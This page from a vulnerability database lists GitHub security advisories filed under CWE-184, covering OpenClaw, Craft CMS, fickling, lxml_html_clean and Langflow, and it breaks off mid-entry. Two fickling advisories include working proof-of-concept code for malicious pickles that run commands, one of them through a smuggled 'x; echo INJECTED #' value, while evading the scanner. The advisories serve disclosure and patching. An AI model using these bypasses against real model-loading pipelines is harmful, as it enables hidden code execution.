CWE-184
AllowedIncomplete List of Disallowed Inputs
Abstraction: Base · Status: Draft
The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete.
397 vulnerabilities reference this CWE, most recent first.
GHSA-5F9P-F3W2-FWCH
Vulnerability from github – Published: 2026-03-02 22:17 – Updated: 2026-03-19 21:22Summary
In the macOS companion app (currently beta), a parsing mismatch in exec approvals could let shell-chain payloads pass allowlist checks in system.run under specific settings.
Impact
This path requires all of the following:
- authenticated caller with operator.write
- paired macOS beta node host
- exec approvals set to security=allowlist and ask=on-miss
Under those conditions, a shell-chain command could be approved from an incomplete command view and then executed on the paired macOS host.
Default Install Status
Default installs are not affected.
Affected Packages / Versions
- Package:
openclaw(npm) - Affected:
<= 2026.2.21-2 - Patched (planned next release):
>= 2026.2.22
Technical Details
The fix hardens macOS allowlist resolution by evaluating shell chains per segment and failing closed on unsafe shell-substitution parsing in allowlist mode.
Product Status Note
The affected macOS companion app path is currently in beta.
Fix Commit(s)
5da03e622119fa012285cdb590fcf4264c965cb5e371da38aab99521c4e076cd3d95fd775e00b784
Release Process Note
patched_versions is pre-set to the planned next npm release (2026.2.22) so once that version is published, this advisory can be published without additional metadata edits.
OpenClaw thanks @tdjackey for reporting.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.2.22"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-31993"
],
"database_specific": {
"cwe_ids": [
"CWE-184",
"CWE-285"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-02T22:17:01Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "### Summary\nIn the macOS companion app (**currently beta**), a parsing mismatch in exec approvals could let shell-chain payloads pass allowlist checks in `system.run` under specific settings.\n\n### Impact\nThis path requires all of the following:\n- authenticated caller with `operator.write`\n- paired macOS beta node host\n- exec approvals set to `security=allowlist` and `ask=on-miss`\n\nUnder those conditions, a shell-chain command could be approved from an incomplete command view and then executed on the paired macOS host.\n\n### Default Install Status\nDefault installs are not affected.\n\n### Affected Packages / Versions\n- Package: `openclaw` (npm)\n- Affected: `\u003c= 2026.2.21-2`\n- Patched (planned next release): `\u003e= 2026.2.22`\n\n### Technical Details\nThe fix hardens macOS allowlist resolution by evaluating shell chains per segment and failing closed on unsafe shell-substitution parsing in allowlist mode.\n\n### Product Status Note\nThe affected macOS companion app path is currently in beta.\n\n### Fix Commit(s)\n- `5da03e622119fa012285cdb590fcf4264c965cb5`\n- `e371da38aab99521c4e076cd3d95fd775e00b784`\n\n### Release Process Note\n`patched_versions` is pre-set to the planned next npm release (`2026.2.22`) so once that version is published, this advisory can be published without additional metadata edits.\n\nOpenClaw thanks @tdjackey for reporting.",
"id": "GHSA-5f9p-f3w2-fwch",
"modified": "2026-03-19T21:22:24Z",
"published": "2026-03-02T22:17:01Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-5f9p-f3w2-fwch"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31993"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/commit/5da03e622119fa012285cdb590fcf4264c965cb5"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/commit/e371da38aab99521c4e076cd3d95fd775e00b784"
},
{
"type": "PACKAGE",
"url": "https://github.com/openclaw/openclaw"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/openclaw-allowlist-parsing-mismatch-in-system-run-shell-chains"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OpenClaw macOS companion app (beta): allowlist parsing mismatch for system.run shell chains"
}
GHSA-5FVC-7894-GHP4
Vulnerability from github – Published: 2026-03-03 21:01 – Updated: 2026-03-04 18:39Craft CMS implements a blocklist to prevent potentially dangerous PHP functions from being called via Twig non-Closure arrow functions.
In order to be able to successfully execute this attack, you need to either have allowAdminChanges enabled on production, or a compromised admin account, or an account with access to the System Messages utility.
Several PHP functions are not included in the blocklist, which could allow malicious actors with the required permissions to execute various types of payloads, including RCEs, arbitrary file reads, SSRFs, and SSTIs.
Twig has already deprecated this behavior, and it will eventually be removed from Twig altogether.
https://github.com/twigphp/Twig/blob/946ddeafa3c9f4ce279d1f34051af041db0e16f2/src/Extension/CoreExtension.php#L2096
This has been resolved in Craft 4.17.0 and 5.9.0, which removes the blocklist and disables all non-Clousure arrow functions in Twig globally via the enableTwigSandbox config setting. That setting is enabled by default on all new Craft projects. Existing Craft projects will need to enable the config setting to take advantage of it.
Existing projects should update to the patched versions of 5.9.0 and 4.17.0 to mitigate the issue and enable the config setting.
Resources
https://github.com/craftcms/cms/pull/18208
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "craftcms/cms"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0-RC1"
},
{
"fixed": "5.9.0-beta.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "craftcms/cms"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0-RC1"
},
{
"fixed": "4.17.0-beta.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-28783"
],
"database_specific": {
"cwe_ids": [
"CWE-1336",
"CWE-184",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-03T21:01:27Z",
"nvd_published_at": "2026-03-04T17:16:21Z",
"severity": "MODERATE"
},
"details": "Craft CMS implements a blocklist to prevent potentially dangerous PHP functions from being called via Twig non-Closure arrow functions.\n\nIn order to be able to successfully execute this attack, you need to either have `allowAdminChanges` enabled on production, or a compromised admin account, or an account with access to the System Messages utility.\n\nSeveral PHP functions are not included in the blocklist, which could allow malicious actors with the required permissions to execute various types of payloads, including RCEs, arbitrary file reads, SSRFs, and SSTIs.\n\nTwig has already deprecated this behavior, and it will eventually be removed from Twig altogether.\n\nhttps://github.com/twigphp/Twig/blob/946ddeafa3c9f4ce279d1f34051af041db0e16f2/src/Extension/CoreExtension.php#L2096\n\nThis has been resolved in Craft 4.17.0 and 5.9.0, which removes the blocklist and disables all non-Clousure arrow functions in Twig globally via the `enableTwigSandbox` config setting. That setting is enabled by default on all new Craft projects. Existing Craft projects will need to enable the config setting to take advantage of it.\n\nExisting projects should update to the patched versions of 5.9.0 and 4.17.0 to mitigate the issue and enable the config setting.\n\n## Resources\n\nhttps://github.com/craftcms/cms/pull/18208",
"id": "GHSA-5fvc-7894-ghp4",
"modified": "2026-03-04T18:39:13Z",
"published": "2026-03-03T21:01:27Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/security/advisories/GHSA-5fvc-7894-ghp4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28783"
},
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/pull/18208"
},
{
"type": "PACKAGE",
"url": "https://github.com/craftcms/cms"
},
{
"type": "WEB",
"url": "https://github.com/twigphp/Twig/blob/946ddeafa3c9f4ce279d1f34051af041db0e16f2/src/Extension/CoreExtension.php#L2096"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:U",
"type": "CVSS_V4"
}
],
"summary": "Craft CMS has Twig Function Blocklist Bypass"
}
GHSA-5HVC-6WX8-MVV4
Vulnerability from github – Published: 2026-01-09 21:05 – Updated: 2026-01-11 14:55Fickling's assessment
pydoc and ctypes were added to the list of unsafe imports (https://github.com/trailofbits/fickling/commit/b793563e60a5e039c5837b09d7f4f6b92e6040d1).
Original report
Summary
Both ctypes and pydoc modules arent explictly blocked. Even other existing pickle scanning tools (like picklescan) do not block pydoc.locate. Chaining these two together can achieve RCE while the scanner still reports the file as LIKELY_SAFE
Details
Import: GLOBAL pydoc locate (Allowed). Resolution: Call locate('ctypes.windll.kernel32.WinExec'). Execution: Call the result with (b'calc.exe', 1).
To bypass the unused variable check an exception object is used, on the assumption that Exception would not be blocked in the future as it is a benign builtin
PoC
import os
GLOBAL = b'c'
STRING = b'S'
BININT = b'K'
TUPLE1 = b'\x85'
TUPLE2 = b'\x86'
EMPTY_TUPLE = b')'
REDUCE = b'R'
PUT = b'p'
GET = b'g'
POP = b'0'
EMPTY_DICT = b'}'
SETITEM = b's'
BUILD = b'b'
STOP = b'.'
def generate_stealth_payload():
payload = b""
payload += GLOBAL + b"pydoc\nlocate\n"
payload += STRING + b"'ctypes.windll.kernel32.WinExec'\n"
payload += TUPLE1 + REDUCE
payload += PUT + b"0\n" # Var 0 = <_FuncPtr WinExec>
payload += POP
payload += GET + b"0\n"
payload += b"C" + b"\x08" + b"calc.exe"
payload += BININT + b"\x01"
payload += TUPLE2 + REDUCE
payload += PUT + b"1\n" # Var 1 = Execution Result
payload += POP
payload += GLOBAL + b"builtins\nException\n"
payload += EMPTY_TUPLE + REDUCE
payload += PUT + b"2\n" # Var 2 = Exception instance
payload += EMPTY_DICT
payload += STRING + b"'rce_status'\n"
payload += GET + b"1\n"
payload += SETITEM # { 'rce_status': result }
payload += BUILD
payload += STOP
return payload
data = generate_stealth_payload()
with open("stealth_ctypes.pkl", "wb") as f:
f.write(data)
print("Generated 'stealth_ctypes.pkl'")
````
What fickling sees
```python
from pydoc import locate
_var0 = locate('ctypes.windll.kernel32.WinExec')
_var1 = _var0(b'calc.exe', 1)
_var2 = Exception()
_var3 = _var2
_var3.__setstate__({'rce_status': _var1})
result0 = _var3
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.1.6"
},
"package": {
"ecosystem": "PyPI",
"name": "fickling"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.1.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-22608"
],
"database_specific": {
"cwe_ids": [
"CWE-184",
"CWE-502"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-09T21:05:13Z",
"nvd_published_at": "2026-01-10T02:15:49Z",
"severity": "HIGH"
},
"details": "# Fickling\u0027s assessment\n\n`pydoc` and `ctypes` were added to the list of unsafe imports (https://github.com/trailofbits/fickling/commit/b793563e60a5e039c5837b09d7f4f6b92e6040d1).\n\n# Original report\n\n### Summary\nBoth ctypes and pydoc modules arent explictly blocked. Even other existing pickle scanning tools (like picklescan) do not block pydoc.locate. Chaining these two together can achieve RCE while the scanner still reports the file as LIKELY_SAFE\n\n### Details\nImport: GLOBAL pydoc locate (Allowed).\nResolution: Call locate(\u0027ctypes.windll.kernel32.WinExec\u0027).\nExecution: Call the result with (b\u0027calc.exe\u0027, 1).\n\nTo bypass the unused variable check an exception object is used, on the assumption that Exception would not be blocked in the future as it is a benign builtin\n\n### PoC\n```python\nimport os\n\nGLOBAL = b\u0027c\u0027\nSTRING = b\u0027S\u0027\nBININT = b\u0027K\u0027\nTUPLE1 = b\u0027\\x85\u0027\nTUPLE2 = b\u0027\\x86\u0027\nEMPTY_TUPLE = b\u0027)\u0027\nREDUCE = b\u0027R\u0027\nPUT = b\u0027p\u0027\nGET = b\u0027g\u0027\nPOP = b\u00270\u0027\nEMPTY_DICT = b\u0027}\u0027\nSETITEM = b\u0027s\u0027\nBUILD = b\u0027b\u0027\nSTOP = b\u0027.\u0027\n\ndef generate_stealth_payload():\n payload = b\"\"\n\n payload += GLOBAL + b\"pydoc\\nlocate\\n\"\n payload += STRING + b\"\u0027ctypes.windll.kernel32.WinExec\u0027\\n\"\n payload += TUPLE1 + REDUCE\n payload += PUT + b\"0\\n\" # Var 0 = \u003c_FuncPtr WinExec\u003e\n payload += POP\n\n payload += GET + b\"0\\n\" \n payload += b\"C\" + b\"\\x08\" + b\"calc.exe\" \n payload += BININT + b\"\\x01\" \n payload += TUPLE2 + REDUCE\n payload += PUT + b\"1\\n\" # Var 1 = Execution Result\n payload += POP\n\n payload += GLOBAL + b\"builtins\\nException\\n\"\n payload += EMPTY_TUPLE + REDUCE\n payload += PUT + b\"2\\n\" # Var 2 = Exception instance\n\n payload += EMPTY_DICT\n payload += STRING + b\"\u0027rce_status\u0027\\n\"\n payload += GET + b\"1\\n\"\n payload += SETITEM # { \u0027rce_status\u0027: result }\n \n payload += BUILD \n \n payload += STOP\n return payload\n\ndata = generate_stealth_payload()\nwith open(\"stealth_ctypes.pkl\", \"wb\") as f:\n f.write(data)\n \nprint(\"Generated \u0027stealth_ctypes.pkl\u0027\")\n````\n\nWhat fickling sees\n```python\nfrom pydoc import locate\n_var0 = locate(\u0027ctypes.windll.kernel32.WinExec\u0027)\n_var1 = _var0(b\u0027calc.exe\u0027, 1)\n_var2 = Exception()\n_var3 = _var2\n_var3.__setstate__({\u0027rce_status\u0027: _var1})\nresult0 = _var3\n```\n\u003cimg width=\"915\" height=\"197\" alt=\"image\" src=\"https://github.com/user-attachments/assets/b5d81e0d-4946-4768-a704-618a4554ae7a\" /\u003e",
"id": "GHSA-5hvc-6wx8-mvv4",
"modified": "2026-01-11T14:55:08Z",
"published": "2026-01-09T21:05:13Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/trailofbits/fickling/security/advisories/GHSA-5hvc-6wx8-mvv4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22608"
},
{
"type": "WEB",
"url": "https://github.com/trailofbits/fickling/pull/195"
},
{
"type": "WEB",
"url": "https://github.com/trailofbits/fickling/commit/b793563e60a5e039c5837b09d7f4f6b92e6040d1"
},
{
"type": "WEB",
"url": "https://github.com/trailofbits/fickling/commit/d0b00d584afb5c58e38991cd544cb3889de90db6"
},
{
"type": "PACKAGE",
"url": "https://github.com/trailofbits/fickling"
},
{
"type": "WEB",
"url": "https://github.com/trailofbits/fickling/blob/977b0769c13537cd96549c12bb537f05464cf09c/test/test_bypasses.py#L145"
},
{
"type": "WEB",
"url": "https://github.com/trailofbits/fickling/releases/tag/v0.1.7"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "Fickling vulnerable to use of ctypes and pydoc gadget chain to bypass detection"
}
GHSA-5HWF-RC88-82XM
Vulnerability from github – Published: 2026-03-04 21:31 – Updated: 2026-03-04 21:31Assessment
The modules uuid, _osx_support and _aix_support were added to the blocklist of unsafe imports (https://github.com/trailofbits/fickling/commit/ffac3479dbb97a7a1592d85991888562d34dd05b).
Original report
Summary
fickling's UNSAFE_IMPORTS blocklist is missing at least 3 stdlib modules that provide direct arbitrary command execution: uuid, _osx_support, and _aix_support. These modules contain functions that internally call subprocess.Popen() or os.system() with attacker-controlled arguments. A malicious pickle file importing these modules passes both UnsafeImports and NonStandardImports checks.
Affected Versions
- fickling <= 0.1.8 (all versions)
Details
Missing Modules
fickling's UNSAFE_IMPORTS (86 modules) does not include:
| Module | RCE Function | Internal Mechanism | Importable On |
|---|---|---|---|
uuid |
_get_command_stdout(cmd, *args) |
subprocess.Popen((cmd,) + args, stdout=PIPE, stderr=DEVNULL) |
All platforms |
_osx_support |
_read_output(cmdstring) |
os.system(cmd) via temp file |
All platforms |
_osx_support |
_find_build_tool(toolname) |
Command injection via %s in _read_output("/usr/bin/xcrun -find %s" % toolname) |
All platforms |
_aix_support |
_read_cmd_output(cmdstring) |
os.system(cmd) via temp file |
All platforms |
Critical note: Despite the names _osx_support and _aix_support suggesting platform-specific modules, they are importable on ALL platforms. Python includes them in the standard distribution regardless of OS.
Why These Pass fickling
NonStandardImports: These are stdlib modules, sois_std_module()returns True → not flaggedUnsafeImports: Module names not inUNSAFE_IMPORTS→ not flaggedOvertlyBadEvals: Function names added tolikely_safe_imports(stdlib) → skippedUnusedVariables: Defeated by BUILD opcode (purposely unhardend)
Proof of Concept (using fickling's opcode API)
from fickling.fickle import (
Pickled, Proto, Frame, ShortBinUnicode, StackGlobal,
TupleOne, TupleTwo, Reduce, EmptyDict, SetItem, Build, Stop,
)
from fickling.analysis import check_safety
import struct, pickle
frame_data = b"\x95" + struct.pack("<Q", 60)
# uuid._get_command_stdout — works on ALL platforms
uuid_payload = Pickled([
Proto(4),
Frame(struct.pack("<Q", 60), data=frame_data),
ShortBinUnicode("uuid"),
ShortBinUnicode("_get_command_stdout"),
StackGlobal(),
ShortBinUnicode("echo"),
ShortBinUnicode("PROOF_OF_CONCEPT"),
TupleTwo(),
Reduce(),
EmptyDict(), ShortBinUnicode("x"), ShortBinUnicode("y"), SetItem(),
Build(),
Stop(),
])
# _aix_support._read_cmd_output — works on ALL platforms
aix_payload = Pickled([
Proto(4),
Frame(struct.pack("<Q", 60), data=frame_data),
ShortBinUnicode("_aix_support"),
ShortBinUnicode("_read_cmd_output"),
StackGlobal(),
ShortBinUnicode("echo PROOF_OF_CONCEPT"),
TupleOne(),
Reduce(),
EmptyDict(), ShortBinUnicode("x"), ShortBinUnicode("y"), SetItem(),
Build(),
Stop(),
])
# _osx_support._find_build_tool — command injection via %s
osx_payload = Pickled([
Proto(4),
Frame(struct.pack("<Q", 60), data=frame_data),
ShortBinUnicode("_osx_support"),
ShortBinUnicode("_find_build_tool"),
StackGlobal(),
ShortBinUnicode("x; echo INJECTED #"),
TupleOne(),
Reduce(),
EmptyDict(), ShortBinUnicode("x"), ShortBinUnicode("y"), SetItem(),
Build(),
Stop(),
])
# All three: fickling reports LIKELY_SAFE
for name, p in [("uuid", uuid_payload), ("aix", aix_payload), ("osx", osx_payload)]:
result = check_safety(p)
print(f"{name}: severity={result.severity}, issues={len(result.results)}")
# Output: severity=Severity.LIKELY_SAFE, issues=0
# All three: pickle.loads() executes the command
pickle.loads(uuid_payload.dumps()) # prints PROOF_OF_CONCEPT
Verified Output
$ python3 poc.py
uuid: severity=Severity.LIKELY_SAFE, issues=0
aix: severity=Severity.LIKELY_SAFE, issues=0
osx: severity=Severity.LIKELY_SAFE, issues=0
PROOF_OF_CONCEPT
Impact
An attacker can craft a pickle file that executes arbitrary system commands while fickling reports it as LIKELY_SAFE. This affects any system relying on fickling for pickle safety validation, including ML model loading pipelines.
Suggested Fix
Add to UNSAFE_IMPORTS in fickling:
"uuid",
"_osx_support",
"_aix_support",
Longer term: Consider an allowlist approach — only permit known-safe stdlib modules rather than blocking known-dangerous ones. The current 86-module blocklist still has gaps because the Python stdlib contains hundreds of modules.
Resources
- Python source:
Lib/uuid.pylines 156-168 (_get_command_stdout) - Python source:
Lib/_osx_support.pylines 35-52 (_read_output), lines 54-68 (_find_build_tool) - Python source:
Lib/_aix_support.pylines 14-30 (_read_cmd_output) - fickling source:
analysis.pyUNSAFE_IMPORTSset
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.1.8"
},
"package": {
"ecosystem": "PyPI",
"name": "fickling"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.1.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-184"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-04T21:31:03Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "# Assessment\n\nThe modules `uuid`, `_osx_support` and `_aix_support` were added to the blocklist of unsafe imports (https://github.com/trailofbits/fickling/commit/ffac3479dbb97a7a1592d85991888562d34dd05b).\n\n# Original report\n\n## Summary\n\nfickling\u0027s `UNSAFE_IMPORTS` blocklist is missing at least 3 stdlib modules that provide direct arbitrary command execution: `uuid`, `_osx_support`, and `_aix_support`. These modules contain functions that internally call `subprocess.Popen()` or `os.system()` with attacker-controlled arguments. A malicious pickle file importing these modules passes both `UnsafeImports` and `NonStandardImports` checks.\n\n\n## Affected Versions\n\n- fickling \u003c= 0.1.8 (all versions)\n\n## Details\n\n### Missing Modules\n\nfickling\u0027s `UNSAFE_IMPORTS` (86 modules) does not include:\n\n| Module | RCE Function | Internal Mechanism | Importable On |\n|--------|-------------|-------------------|---------------|\n| `uuid` | `_get_command_stdout(cmd, *args)` | `subprocess.Popen((cmd,) + args, stdout=PIPE, stderr=DEVNULL)` | All platforms |\n| `_osx_support` | `_read_output(cmdstring)` | `os.system(cmd)` via temp file | All platforms |\n| `_osx_support` | `_find_build_tool(toolname)` | Command injection via `%s` in `_read_output(\"/usr/bin/xcrun -find %s\" % toolname)` | All platforms |\n| `_aix_support` | `_read_cmd_output(cmdstring)` | `os.system(cmd)` via temp file | All platforms |\n\n**Critical note:** Despite the names `_osx_support` and `_aix_support` suggesting platform-specific modules, they are importable on ALL platforms. Python includes them in the standard distribution regardless of OS.\n\n### Why These Pass fickling\n\n1. **`NonStandardImports`**: These are stdlib modules, so `is_std_module()` returns True \u2192 not flagged\n2. **`UnsafeImports`**: Module names not in `UNSAFE_IMPORTS` \u2192 not flagged\n3. **`OvertlyBadEvals`**: Function names added to `likely_safe_imports` (stdlib) \u2192 skipped\n4. **`UnusedVariables`**: Defeated by BUILD opcode (purposely unhardend)\n\n### Proof of Concept (using fickling\u0027s opcode API)\n\n```python\nfrom fickling.fickle import (\n Pickled, Proto, Frame, ShortBinUnicode, StackGlobal,\n TupleOne, TupleTwo, Reduce, EmptyDict, SetItem, Build, Stop,\n)\nfrom fickling.analysis import check_safety\nimport struct, pickle\n\nframe_data = b\"\\x95\" + struct.pack(\"\u003cQ\", 60)\n\n# uuid._get_command_stdout \u2014 works on ALL platforms\nuuid_payload = Pickled([\n Proto(4),\n Frame(struct.pack(\"\u003cQ\", 60), data=frame_data),\n ShortBinUnicode(\"uuid\"),\n ShortBinUnicode(\"_get_command_stdout\"),\n StackGlobal(),\n ShortBinUnicode(\"echo\"),\n ShortBinUnicode(\"PROOF_OF_CONCEPT\"),\n TupleTwo(),\n Reduce(),\n EmptyDict(), ShortBinUnicode(\"x\"), ShortBinUnicode(\"y\"), SetItem(),\n Build(),\n Stop(),\n])\n\n# _aix_support._read_cmd_output \u2014 works on ALL platforms\naix_payload = Pickled([\n Proto(4),\n Frame(struct.pack(\"\u003cQ\", 60), data=frame_data),\n ShortBinUnicode(\"_aix_support\"),\n ShortBinUnicode(\"_read_cmd_output\"),\n StackGlobal(),\n ShortBinUnicode(\"echo PROOF_OF_CONCEPT\"),\n TupleOne(),\n Reduce(),\n EmptyDict(), ShortBinUnicode(\"x\"), ShortBinUnicode(\"y\"), SetItem(),\n Build(),\n Stop(),\n])\n\n# _osx_support._find_build_tool \u2014 command injection via %s\nosx_payload = Pickled([\n Proto(4),\n Frame(struct.pack(\"\u003cQ\", 60), data=frame_data),\n ShortBinUnicode(\"_osx_support\"),\n ShortBinUnicode(\"_find_build_tool\"),\n StackGlobal(),\n ShortBinUnicode(\"x; echo INJECTED #\"),\n TupleOne(),\n Reduce(),\n EmptyDict(), ShortBinUnicode(\"x\"), ShortBinUnicode(\"y\"), SetItem(),\n Build(),\n Stop(),\n])\n\n# All three: fickling reports LIKELY_SAFE\nfor name, p in [(\"uuid\", uuid_payload), (\"aix\", aix_payload), (\"osx\", osx_payload)]:\n result = check_safety(p)\n print(f\"{name}: severity={result.severity}, issues={len(result.results)}\")\n # Output: severity=Severity.LIKELY_SAFE, issues=0\n\n# All three: pickle.loads() executes the command\npickle.loads(uuid_payload.dumps()) # prints PROOF_OF_CONCEPT\n```\n\n### Verified Output\n\n```\n$ python3 poc.py\nuuid: severity=Severity.LIKELY_SAFE, issues=0\naix: severity=Severity.LIKELY_SAFE, issues=0\nosx: severity=Severity.LIKELY_SAFE, issues=0\nPROOF_OF_CONCEPT\n```\n\n## Impact\n\nAn attacker can craft a pickle file that executes arbitrary system commands while fickling reports it as `LIKELY_SAFE`. This affects any system relying on fickling for pickle safety validation, including ML model loading pipelines.\n\n## Suggested Fix\n\nAdd to `UNSAFE_IMPORTS` in fickling:\n```python\n\"uuid\",\n\"_osx_support\",\n\"_aix_support\",\n```\n\n**Longer term:** Consider an allowlist approach \u2014 only permit known-safe stdlib modules rather than blocking known-dangerous ones. The current 86-module blocklist still has gaps because the Python stdlib contains hundreds of modules.\n\n## Resources\n\n- Python source: `Lib/uuid.py` lines 156-168 (`_get_command_stdout`)\n- Python source: `Lib/_osx_support.py` lines 35-52 (`_read_output`), lines 54-68 (`_find_build_tool`)\n- Python source: `Lib/_aix_support.py` lines 14-30 (`_read_cmd_output`)\n- fickling source: `analysis.py` `UNSAFE_IMPORTS` set",
"id": "GHSA-5hwf-rc88-82xm",
"modified": "2026-03-04T21:31:03Z",
"published": "2026-03-04T21:31:03Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/trailofbits/fickling/security/advisories/GHSA-5hwf-rc88-82xm"
},
{
"type": "WEB",
"url": "https://github.com/trailofbits/fickling/commit/ffac3479dbb97a7a1592d85991888562d34dd05b"
},
{
"type": "PACKAGE",
"url": "https://github.com/trailofbits/fickling"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "Fickling missing RCE-capable modules in UNSAFE_IMPORTS"
}
GHSA-5JFW-GQ64-Q45F
Vulnerability from github – Published: 2024-11-19 21:07 – Updated: 2025-01-14 16:37Impact
The HTML Parser in lxml does not properly handle context-switching for special HTML tags such as <svg>, <math> and <noscript>. This behavior deviates from how web browsers parse and interpret such tags. Specifically, content in CSS comments is ignored by lxml_html_clean but may be interpreted differently by web browsers, enabling malicious scripts to bypass the cleaning process. This vulnerability could lead to Cross-Site Scripting (XSS) attacks, compromising the security of users relying on lxml_html_clean in default configuration for sanitizing untrusted HTML content.
Patches
Users employing the HTML cleaner in a security-sensitive context should upgrade to lxml 0.4.0, which addresses this issue.
Workarounds
As a temporary mitigation, users can configure lxml_html_clean with the following settings to prevent the exploitation of this vulnerability:
* remove_tags: Specify tags to remove - their content is moved to their parents' tags.
* kill_tags: Specify tags to be removed completely.
* allow_tags: Restrict the set of permissible tags, excluding context-switching tags like <svg>, <math> and <noscript>.
References
- https://github.com/fedora-python/lxml_html_clean/pull/19
- https://github.com/fedora-python/lxml_html_clean/pull/19/commits/c5d816f86eb3707d72a8ecf5f3823e0daa1b3808
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "lxml-html-clean"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.4.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-52595"
],
"database_specific": {
"cwe_ids": [
"CWE-184",
"CWE-79",
"CWE-83"
],
"github_reviewed": true,
"github_reviewed_at": "2024-11-19T21:07:59Z",
"nvd_published_at": "2024-11-19T22:15:21Z",
"severity": "HIGH"
},
"details": "### Impact\n\nThe HTML Parser in lxml does not properly handle context-switching for special HTML tags such as `\u003csvg\u003e`, `\u003cmath\u003e` and `\u003cnoscript\u003e`. This behavior deviates from how web browsers parse and interpret such tags. Specifically, content in CSS comments is ignored by lxml_html_clean but may be interpreted differently by web browsers, enabling malicious scripts to bypass the cleaning process. This vulnerability could lead to Cross-Site Scripting (XSS) attacks, compromising the security of users relying on lxml_html_clean in default configuration for sanitizing untrusted HTML content.\n\n### Patches\n\nUsers employing the HTML cleaner in a security-sensitive context should upgrade to lxml 0.4.0, which addresses this issue.\n\n### Workarounds\n\nAs a temporary mitigation, users can configure lxml_html_clean with the following settings to prevent the exploitation of this vulnerability:\n* `remove_tags`: Specify tags to remove - their content is moved to their parents\u0027 tags.\n* `kill_tags`: Specify tags to be removed completely.\n* `allow_tags`: Restrict the set of permissible tags, excluding context-switching tags like `\u003csvg\u003e`, `\u003cmath\u003e` and `\u003cnoscript\u003e`.\n\n### References\n\n* https://github.com/fedora-python/lxml_html_clean/pull/19\n* https://github.com/fedora-python/lxml_html_clean/pull/19/commits/c5d816f86eb3707d72a8ecf5f3823e0daa1b3808\n",
"id": "GHSA-5jfw-gq64-q45f",
"modified": "2025-01-14T16:37:30Z",
"published": "2024-11-19T21:07:59Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/fedora-python/lxml_html_clean/security/advisories/GHSA-5jfw-gq64-q45f"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-52595"
},
{
"type": "WEB",
"url": "https://github.com/fedora-python/lxml_html_clean/pull/19"
},
{
"type": "WEB",
"url": "https://github.com/fedora-python/lxml_html_clean/commit/c5d816f86eb3707d72a8ecf5f3823e0daa1b3808"
},
{
"type": "PACKAGE",
"url": "https://github.com/fedora-python/lxml_html_clean"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/lxml-html-clean/PYSEC-2024-160.yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:H",
"type": "CVSS_V3"
}
],
"summary": "HTML Cleaner allows crafted scripts in special contexts like svg or math to pass through"
}
GHSA-5JPF-5J69-486Q
Vulnerability from github – Published: 2026-08-05 18:31 – Updated: 2026-08-05 18:31IBM Langflow OSS 1.0.0 through 1.10.3 could allow a remote attacker to execute arbitrary code due to improper validation of configuration parameters.
{
"affected": [],
"aliases": [
"CVE-2026-17630"
],
"database_specific": {
"cwe_ids": [
"CWE-184"
],
"github_reviewed": false,
"github_reviewed_at": null,
